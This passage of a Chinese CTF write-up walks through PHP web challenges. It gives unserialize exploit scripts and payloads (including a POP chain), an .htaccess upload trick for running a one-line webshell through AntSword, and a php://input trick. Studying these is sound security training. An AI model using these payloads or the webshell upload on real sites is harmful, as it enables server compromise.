</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">        <span class="k">public</span> <span class="k">function</span> <span class="fm">__construct</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">            <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">admin</span> <span class="o">=</span><span class="s2">&#34;admin&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">            <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">passwd</span> <span class="o">=</span> <span class="s2">&#34;wllm&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="nv">$a</span><span class="o">=</span><span class="k">new</span> <span class="nx">HaHaHa</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="nv">$b</span><span class="o">=</span><span class="nv">$a</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="nx">unset</span><span class="p">(</span><span class="nv">$a</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="k">echo</span><span class="p">(</span><span class="nx">serialize</span><span class="p">(</span><span class="nv">$b</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>把生成的字符串属性改改</p>
<p>Payload：<code>O:6:&quot;HaHaHa&quot;:3:{s:5:&quot;admin&quot;;s:5:&quot;admin&quot;;s:6:&quot;passwd&quot;;s:4:&quot;wllm&quot;;}</code></p>
<h3 id="easyupload30">easyupload3.0<a class="anchor" href="#easyupload30">#</a></h3>
<p>和<code>.htaccess</code>配合，有此文件时会把jpg解析成php文件执行，所以先传一个<code>.htaccess</code>,再把一句话木马改成jpg后缀传上去，蚁剑直接连jpg就行了</p>
<h3 id="pop">pop<a class="anchor" href="#pop">#</a></h3>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="nx">error_reporting</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="nx">show_source</span><span class="p">(</span><span class="s2">&#34;index.php&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="k">class</span> <span class="nc">w44m</span><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    <span class="k">private</span> <span class="nv">$admin</span> <span class="o">=</span> <span class="s1">&#39;aaa&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="k">protected</span> <span class="nv">$passwd</span> <span class="o">=</span> <span class="s1">&#39;123456&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="nf">Getflag</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">admin</span> <span class="o">===</span> <span class="s1">&#39;w44m&#39;</span> <span class="o">&amp;&amp;</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">passwd</span> <span class="o">===</span><span class="s1">&#39;08067&#39;</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">            <span class="k">include</span><span class="p">(</span><span class="s1">&#39;flag.php&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">            <span class="k">echo</span> <span class="nv">$flag</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">        <span class="p">}</span><span class="k">else</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">            <span class="k">echo</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">admin</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">            <span class="k">echo</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">passwd</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">            <span class="k">echo</span> <span class="s1">&#39;nono&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">
</span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="k">class</span> <span class="nc">w22m</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">    <span class="k">public</span> <span class="nv">$w00m</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="fm">__destruct</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">        <span class="k">echo</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">w00m</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">
</span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="k">class</span> <span class="nc">w33m</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">    <span class="k">public</span> <span class="nv">$w00m</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">    <span class="k">public</span> <span class="nv">$w22m</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="fm">__toString</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">w00m</span><span class="o">-&gt;</span><span class="p">{</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">w22m</span><span class="p">}();</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">
</span></span><span class="line"><span class="ln">39</span><span class="cl"><span class="nv">$w00m</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;w00m&#39;</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl"><span class="nx">unserialize</span><span class="p">(</span><span class="nv">$w00m</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">
</span></span><span class="line"><span class="ln">42</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>这题也做了好久，思路是调用GetFlag包含flag.php，怎么调用？这个看起来只有w33m里<code>__toString</code>的<code>$this-&gt;w00m-&gt;{$this-&gt;w22m}();</code>这个写法我还是第一次见。所以我们需要调用toSring，在w22m里有一句<code>echo $this-&gt;w00m;</code>所以把这个类对象的w00m属性定义为w33m的对象即可，之后销毁w44m对象以调用destruct</p>
<p>exp:</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="k">class</span> <span class="nc">w44m</span><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    <span class="k">private</span> <span class="nv">$admin</span> <span class="o">=</span> <span class="s1">&#39;w44m&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">    <span class="k">protected</span> <span class="nv">$passwd</span> <span class="o">=</span> <span class="s1">&#39;08067&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="k">class</span> <span class="nc">w22m</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="k">public</span> <span class="nv">$w00m</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="k">class</span> <span class="nc">w33m</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="k">public</span> <span class="nv">$w00m</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="k">public</span> <span class="nv">$w22m</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="nv">$a</span><span class="o">=</span><span class="k">new</span> <span class="nx">w44m</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="nv">$b</span><span class="o">=</span><span class="k">new</span> <span class="nx">w22m</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="nv">$b</span><span class="o">-&gt;</span><span class="na">w00m</span><span class="o">=</span><span class="k">new</span> <span class="nx">w33m</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="nv">$b</span><span class="o">-&gt;</span><span class="na">w00m</span><span class="o">-&gt;</span><span class="na">w00m</span><span class="o">=</span><span class="nv">$a</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="nv">$b</span><span class="o">-&gt;</span><span class="na">w00m</span><span class="o">-&gt;</span><span class="na">w22m</span><span class="o">=</span><span class="s1">&#39;Getflag&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="nx">unset</span><span class="p">(</span><span class="nv">$a</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="k">echo</span> <span class="nx">serialize</span><span class="p">(</span><span class="nv">$b</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">
</span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>注意，由于是受保护的属性，所以要对payload进行处理，<a
  href="https://blog.csdn.net/weixin_45844670/article/details/108171963" rel="nofollow noopener noreferrer" target="_blank"
  >原理在此<span style="user-select:none"> ↗</span></a
>
</p>
<p>注意，生成的反序列化字符串里属性长度比字符串长，<code>%00</code>算1字长，所以长度不用改，只要在最里层类名和属性名前加%00即可，有的类名显示为<code>*</code>不影响</p>
<p>Payload：<code>O:4:&quot;w22m&quot;:1:{s:4:&quot;w00m&quot;;O:4:&quot;w33m&quot;:2:{s:4:&quot;w00m&quot;;O:4:&quot;w44m&quot;:2:{s:11:&quot;%00w44m%00admin&quot;;s:4:&quot;w44m&quot;;s:9:&quot;%00*%00passwd&quot;;s:5:&quot;08067&quot;;}s:4:&quot;w22m&quot;;s:7:&quot;Getflag&quot;;}}</code></p>
<h3 id="pseudoprotocols">PseudoProtocols<a class="anchor" href="#pseudoprotocols">#</a></h3>
<p>题目伪协议，进来让我找hint.ph，直接伪协议读，然后解码，提示在test2222222222222.php</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="nx">ini_set</span><span class="p">(</span><span class="s2">&#34;max_execution_time&#34;</span><span class="p">,</span> <span class="s2">&#34;180&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="nx">show_source</span><span class="p">(</span><span class="no">__FILE__</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="k">include</span><span class="p">(</span><span class="s1">&#39;flag.php&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="nv">$a</span><span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">&#34;a&#34;</span><span class="p">];</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="k">if</span><span class="p">(</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$a</span><span class="p">)</span><span class="o">&amp;&amp;</span><span class="p">(</span><span class="nx">file_get_contents</span><span class="p">(</span><span class="nv">$a</span><span class="p">,</span><span class="s1">&#39;r&#39;</span><span class="p">))</span> <span class="o">===</span> <span class="s1">&#39;I want flag&#39;</span><span class="p">){</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">    <span class="k">echo</span> <span class="s2">&#34;success</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    <span class="k">echo</span> <span class="nv">$flag</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>很多时候做不出来，毫无思路，就是因为知识点储备不够，很多利用点即使你不知道原理会用就好，这题我搜了好久关于<code>file_get_contents</code>的技巧，后来发现这题是利用<code>php://input</code>伪协议，它在<code>file_get_contents</code>里，可以直接利用POST传值，这里直接POST值就行，不用写参数名</p>
<p>注意HackBar在POST传值时，若值是无参数名的好像传不过去，这题我纠结好久不明白全对为啥不出flag，BP抓包发现没有post值，所以遇到无参数名POST传值，最好用BP</p>
<p><img
  src="/077813/swpu_PseudoProtocols.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1523" height="824"
/>
</p>
